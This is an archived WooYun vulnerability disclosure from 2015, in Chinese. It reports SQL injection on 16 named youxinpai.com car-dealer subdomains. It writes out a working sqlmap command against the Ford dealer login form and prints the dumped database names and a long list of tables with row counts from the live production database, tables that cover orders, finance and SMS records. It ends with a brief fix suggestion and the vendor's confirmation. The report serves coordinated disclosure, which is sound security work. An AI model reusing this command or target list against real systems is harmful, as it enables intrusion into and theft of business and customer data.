乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-26： 细节已通知厂商并且等待厂商处理中 2015-10-27： 厂商已经确认，细节仅向厂商公开 2015-11-06： 细节向核心白帽子及相关领域专家公开 2015-11-16： 细节向普通白帽子公开 2015-11-26： 细节向实习白帽子公开 2015-12-11： 细节向公众公开
rt
以下站点使用的是同一套程序，均存在SQL注入
http://nissancorp.dealer.youxinpai.comhttp://gtmc.dealer.youxinpai.comhttp://jlr.dealer.youxinpai.comhttp://xd2sc.dealer.youxinpai.comhttp://ftms.dealer.youxinpai.comhttp://dongfeng-citroencorp.dealer.youxinpai.comhttp://ford.dealer.youxinpai.comhttp://chrysler.dealer.youxinpai.comhttp://ghac.dealer.youxinpai.comhttp://gmmc.dealer.youxinpai.comhttp://chery.dealer.youxinpai.comhttp://faw-vw.dealer.youxinpai.comhttp://faw-mazda.dealer.youxinpai.comhttp://peugeotcorp.dealer.youxinpai.comhttp://wdhac.dealer.youxinpai.comhttp://fawcar.dealer.youxinpai.com
以长安福特为例
sqlmap -u "http://ford.dealer.youxinpai.com/login/check/" --data "username=aaa&password=sss&valcode=" --current-user
available databases [4]:[*] AuditDB[*] information_schema[*] test[*] yxp_cpDatabase: yxp_cp+---------------------------------+---------+| Table | Entries |+---------------------------------+---------+| car_hurt_pic | 15483386 || ck_car_detect_bak | 11638117 || publish_bid_record | 9328933 || dealer_follow_publish | 8897078 || chake_carfileinfo | 7777599 || car_pic | 6401692 || login_log | 6179713 || order_remark | 5944617 || dealer_deposit_bill | 4219364 || activity_coupon | 3855583 || car_sconfig | 3816803 || app_download | 2648687 || sms_message | 2583362 || rbac_log | 2363746 || yongyou | 2010007 || xcp_remark | 1960780 || stats_online_record | 1734318 || stats_online_city_count | 1572156 || dealer_partner | 1024834 || uuid_remark | 886377 || seller_record | 876457 || finance_batch_log | 832932 || activity_coupon_20141011 | 716309 || publish | 632411 || chake_taskinfo | 579556 || chake_carinfo | 579287 || uuid | 574407 || publish_infochannel | 571042 || increment_evaluation | 515938 || yongyou_to_nc | 499741 || car | 488501 || publish_20150130 | 424826 || finance_record | 406981 || order_storage_record | 377632 || activity_score | 368965 || publish_20150207 | 364452 || voice_record | 356746 || stats_online_count | 315635 || stats_online_count_wf | 312203 || car_20150130 | 304117 || mobile_area | 293459 || yongyou_20150409 | 292102 || `order` | 290552 || car_20150207 | 283031 || wand_checkin | 273278 || stats_online_count_cp | 258423 || publish_copy | 248049 || dealer_config | 247698 || finance_record_20150409 | 233401 || pricing_order | 231074 || order_detail | 222959 || ck_car_remark | 219346 || order_storage | 199938 || xcp_car | 194298 || xcp_order2car | 192244 || market_record | 189846 || pricing_record | 188657 || order_transfer | 187938 || publish_id | 187232 || car_sconfigitems | 183282 || xcp_storage | 181013 || car_copy | 180728 || order_20150207 | 170836 || order_20150130 | 168562 || finance_pos | 166210 || car_scardetail | 153185 || xcp_order | 151060 || order_fee_recheck | 150540 || car_scartrim | 145408 || bank_xingye | 145155 || order_transfer_ac | 142455 || stats_online_from_count | 128869 || bankdict_code | 124552 || ck_car_detect | 123092 || xcp_storage_record | 106326 || arb_remark | 103580 || order_driver | 94521 || order_defer | 94253 || arb_notes | 86725 || dealer_user | 82102 || partner_car_pic | 78249 || xcp_return_car | 77546 || arb_survey | 72918 || dealer | 65302 || arbitral | 62739 || ck_car_up_log | 61892 || ck_car_ext | 61891 || ck_car | 61890 || ck_car_task | 61890 || cym_car_record | 60839 || ck_car_condition | 59603 || ck_car_attachment | 59601 || dealer_securitydeposit | 57123 || pad_log | 54448 || arb_pic | 53749 || cym_car | 48472 || dealer_dmscarinfo | 44822 || auto_arbitral | 42857 || check_publish | 37532 || dealer_20150331 | 35984 || dealer_deposit_recharge | 32688 || chake_car_relation | 25955 || dcs_car | 25709 || cxk_mode | 24189 || collectcheck_car | 24138 || bank | 22083 || dealer_wf_buyer | 21906 || partner_map_user | 21626 || car_maintain | 21453 || dealer_copy | 21074 || dealer_wf_buyer_record | 17011 || order_refund | 16837 || collectcheck_car_20150305 | 16467 || buyer_visit_record | 16290 || dealer_wf_buyer_20150409 | 14397 || rbac_actionrole | 13197 || dealer_wf_buyer_log | 12517 || arb_paylist | 12136 || dealer_wf_buyer_20150331 | 11906 || dealer_bak | 11482 || dealer_credits | 11108 || bank_log | 10765 || partner_car | 7867 || rbac_masterrole | 7852 || order_deal_record | 7198 || sale_meeting | 6247 || z_activity | 6246 || order_deal | 5446 || dealer_setting | 5409 || xcp_tester | 5121 || yongda | 4954 || rbac_resrole | 4436 || car_sconfigmodel | 3322 || rbac_master_login | 3299 || partner_map_district | 3217 || dealer_wf_buyer_log_20150409 | 3210 || spell | 3078 || rbac_master | 2657 || dealer_chake | 2624 || weixin_receive_msg | 2508 || car_scarmodel | 2478 || increment_outdata | 2430 || sale_user_count | 2388 || partner_map_city | 2336 || bankdict_area | 2315 || weixin_activity_spread_view | 2162 || cxk_series | 1698 || partner_publish | 1681 || market_car_inout | 1667 || ck_car_bak | 1651 || ck_car_task_bak | 1651 || order_stop_record | 1567 || order_fail_info | 1275 || market_car_dispatch | 1216 || rbac_role | 1090 || ck_car_mar_price_assess | 996 || market_parking | 852 || rbac_action | 826 || activity | 668 || vote_record | 656 || area_city | 522 || xcp_formalities | 514 || question_demand | 438 || question_demand_data | 438 || sale_wt_user_count | 406 || stats_online | 371 || sale_user | 336 || weizhang_city | 320 || order_arbitral_record | 311 || finance_master_device | 296 || stats_online_wf | 270 || columbus_detail | 261 || presell_car_images | 261 || question | 257 || question_data | 257 || car_scarmake | 253 || collectcheck_user | 233 || sms_queue | 233 || cxk_make | 224 || sale_jm_user_count | 215 || dealer_log | 213 || car_serial_20140909 | 189 || weixin_activity_spread | 188 || car_serial | 187 || vote_candidate | 175 || cxk_brand | 160 || market_rfid_car | 160 || question_upload | 150 || sale_wt_jm_user | 148 || question_online | 134 || question_online_data | 134 || site_news | 122 || dealer_wf_buyer_record_20150409 | 114 || bankdict_bank | 109 || help | 109 || ck_car_pic_bak | 108 || partner_map_province | 93 || transfer_ac | 82 || ck_car_remark_bak | 71 || car_sconfigiautos | 63 || stats_online_cp | 62 || market | 59 || app | 50 || order_agent_recheck | 49 || order_agent_rechecker_login | 42 || publish_retail | 40 || sale_user_config | 40 || driver | 36 || publish_source | 36 || dealer_newcar_sales | 35 || market_area | 35 || area_province | 31 || transfer_market | 29 || dealer_spread_fee | 25 || presell_car | 25 || notice_wf | 23 || weixin_reply | 21 || columbus_judge | 20 || annex | 17 || vote | 16 || vote_preselected | 14 || cym_shop | 13 || site_job | 13 || weixin_reply_key | 13 || dealer_extend_manager | 12 || xcp_formalities_return | 12 || blacklist | 11 || xcp_formalities_loan | 11 || area_opencity | 9 || ck_car_operations_log | 9 || ck_car_up_log_bak | 9 || vote_defer | 9 || area_bigarea | 4 || ck_car_attachment_bak | 4 || ck_car_condition_bak | 4 || collateral_car | 2 || car_inquiry | 1 || weixin_activity | 1 || weixin_config | 1 || yxp_config | 1 |+---------------------------------+---------+
如上
过滤，上WAF
危害等级：高
漏洞Rank：10
确认时间：2015-10-27 16:11
谢谢反馈！正协助修复。
暂无
